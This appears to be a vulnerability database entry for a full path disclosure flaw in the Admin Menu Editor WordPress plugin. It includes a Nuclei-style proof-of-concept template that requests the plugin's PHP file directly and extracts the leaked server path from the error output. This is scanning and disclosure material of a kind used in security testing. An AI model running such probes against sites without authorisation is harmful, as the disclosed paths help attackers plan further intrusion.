wp-admin-menu-editor-fpd: Admin Menu Editor - Full Path Disclosure

2026-01-08 wp-admin-menu-editor-fpd PoC Public

Description

Admin Menu Editor WordPress plugin contains a full path disclosure vulnerability due to improper access restrictions in its source files, allowing unauthenticated attackers to retrieve full server paths and aiding exploitation.

PoC

id: wp-admin-menu-editor-fpd

info:
  name: Admin Menu Editor - Full Path Disclosure
  author: theamanrawat
  severity: low
  description: |
    Admin Menu Editor WordPress plugin contains a full path disclosure vulnerability due to improper access restrictions in its source files, allowing unauthenticated attackers to retrieve full server paths and aiding exploitation.
  impact: |
    Attackers can obtain server file paths, aiding in further exploitation of the website.
  reference:
    - https://wordpress.org/plugins/admin-menu-editor/
  metadata:
    verified: true
    max-requests: 1
    public-www: "/wp-content/plugins/admin-menu-editor/"
  tags: debug,wordpress,wp,wp-plugin,admin-menu-editor,fpd,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/admin-menu-editor/menu-editor.php"

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains_all(body, "Fatal error", "undefined function", "wp-content/plugins/admin-menu-editor/menu-editor.php")'
        condition: and

    extractors:
      - type: regex
        name: disclosed-path
        group: 0
        regex:
          - '([A-Za-z]:\\[^\s<>"]+|/[^\s<>"]+)wp-content/plugins/admin-menu-editor/menu-editor\.php'
# digest: 4a0a00473045022100a79908d27b9b12bf951638e774b7f260f4ca8fae0e00d9e62e449c68a913142f02203950dd65175e02b4e1ec40dfffc374dfbaf8609334066d2d5049ef02c14a17da:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

Related Vulnerabilities